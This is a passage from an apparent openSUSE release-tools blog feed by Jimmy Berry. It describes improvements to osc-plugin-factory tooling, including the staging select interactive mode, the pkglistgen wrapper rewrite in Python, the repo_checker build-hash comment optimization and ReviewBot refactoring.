<p>Additionally, this made the <code class="highlighter-rouge">select</code> sub-command much more powerful with a variety of new options and modes including an <code class="highlighter-rouge">--interactive</code> mode which allowed a proposal to be modified in a text editor. The combination provides a vastly superior experience and laid the groundwork for further automation via <a href="https://github.com/openSUSE/osc-plugin-factory/blob/a7c4bcfd32a44d371b4e70f746f585a9022b4414/osclib/request_splitter.py#L372-L513">strategies</a> (mentined above and to be covered in future post).</p>
<p>An example of interactive mode, which also includes the strategies introduced later, can be seen below.</p>
<script src="https://asciinema.org/a/m7RuBodGhYLBMNletd3kfNEpE.js" id="asciicast-m7RuBodGhYLBMNletd3kfNEpE" async=""></script>
<h1 id="miscellaneous">miscellaneous</h1>
<p>A utility was created to <a href="https://github.com/openSUSE/osc-plugin-factory/pull/628">print the list of devel projects for a given project</a>. This tool was intended to eventually replace the expensive query with the cached version which has since been done.</p>
<p>Yet another quality of life improvement was to <a href="https://github.com/openSUSE/osc-plugin-factory/pull/634">indicate if origin differs from the expected origin in the <code class="highlighter-rouge">leaper</code> review</a>. This simple change aided in being able to more quickly scan through large numbers of such reviews.</p>Jimmy Berrypackage list wrapper scripts port and rewrite2017w51-52: package list rewrite and repo_checker optimization2018-01-02T00:00:00+00:002018-01-02T00:00:00+00:00http://release-tools.opensuse.org/2018/01/02/w51-52<h1 id="package-list-wrapper-scripts-port-and-rewrite">package list wrapper scripts port and rewrite</h1>
<p>The package list generation, or <a href="https://github.com/openSUSE/osc-plugin-factory/blob/a7c4bcfd32a44d371b4e70f746f585a9022b4414/pkglistgen.py"><code class="highlighter-rouge">pkglistgen</code></a> code is responsible for expanding the <a href="https://build.opensuse.org/package/view_file/openSUSE:Leap:15.0/000package-groups/groups.yml?expand=1">base package groups</a> to the <a href="https://build.opensuse.org/package/show/openSUSE:Leap:15.0/000product">full list</a> that is then <a href="https://build.opensuse.org/package/show/openSUSE:Leap:15.0/000release-packages">packaged</a> on the various installation media. Recently, the tool was rewritten, but was left with rough edges in the form of wrapper scripts around the core solving code. Much of scripts were hard-coded and would benefit from a re-write as well a porting to python in which the rest of the code lives.</p>
<p>During the port the code was re-structured for readability and the various hard-coded bits replaced with the proper variables and bits loaded from their sources of truth. The <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1312">final result</a> was a much more flexible and future proof solution. <a href="https://build.opensuse.org/project/show/openSUSE:Leap:15.0">Leap 15.0</a> is actively using this code as part of the development workflow.</p>
<h1 id="repo_checker-build-hash-optimization-follow-up">repo_checker build hash optimization follow-up</h1>
<p>After the <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1229">repo_checker was improved to store and compare build hashes to reduce rechecking</a> the expected side-effect was repeated comments during target project rebuild (like after a checkin round) since the comment was always replaced if the build hash differed. The <a href="https://github.com/openSUSE/osc-plugin-factory/pull/1316">follow-up optimization</a> was to avoid posting comments while target project is rebuilding unless the text of the comment changed. Once the target project completes rebuilding the final build hash is posted and the <code class="highlighter-rouge">repo_checker</code> will stop rechecking until the build hash changes.</p>
<p>Combined with the build hash addition this maintains the much improved cycle time of the <code class="highlighter-rouge">repo_checker</code> while avoiding the notification spam and still picking up changes quickly. As such new requests are still processed more quickly. Having a different mechanism to act as the source of truth for this information might be beneficial, but would introduce more complexity since all the <em>review bots</em> store their state in request reviews or comments.</p>
<p>For an example of the volume and how this plays at, take a look at a <a href="http://release-tools.opensuse.org/resource/repo_checker-pre-process.log">summary from the pre-processing phase of a <code class="highlighter-rouge">repo_checker</code> cycle</a>. Generally the <code class="highlighter-rouge">not ready</code> state will change to either <code class="highlighter-rouge">accepted</code> or <code class="highlighter-rouge">build unchanged</code> if there are issues that need to be resolved. Either of these three states can be skipped and <code class="highlighter-rouge">accepted</code> is entirely ignore since that is the end state.</p>
<h1 id="last-year">last year</h1>
<p>Over the past year much of my time has been spent refactoring code to avoid duplication and different implementations of the same thing. In addition simplifying the code were possible to make it easier to improve and maintain. The primary focus at the time was the <a href="https://github.com/openSUSE/osc-plugin-factory/blob/a7c4bcfd32a44d371b4e70f746f585a9022b4414/ReviewBot.py"><code class="highlighter-rouge">ReviewBot</code></a> based code. The bots one interacts with on <a href="https://build.opensuse.org/">OBS</a> as part of the distribution development workflow are all based on the <code class="highlighter-rouge">ReviewBot</code> base.</p>
<ul>
<li><a href="https://github.com/openSUSE/osc-plugin-factory/pull/622">Rework ReviewBot.CommandLineInterface to provide class option</a> [+38 −125]</li>
<li><a href="https://github.com/openSUSE/osc-plugin-factory/pull/623">Port osc-check_source.py to ReviewBot as check_source.py</a> [+289 −458]
<ul>
<li>runs as the <code class="highlighter-rouge">factory-auto</code> user</li>
<li>improved flexibility, fixed bugs, and ~twice as fast</li>
</ul>
</li>
</ul>Jimmy Berrypackage list wrapper scripts port and rewrite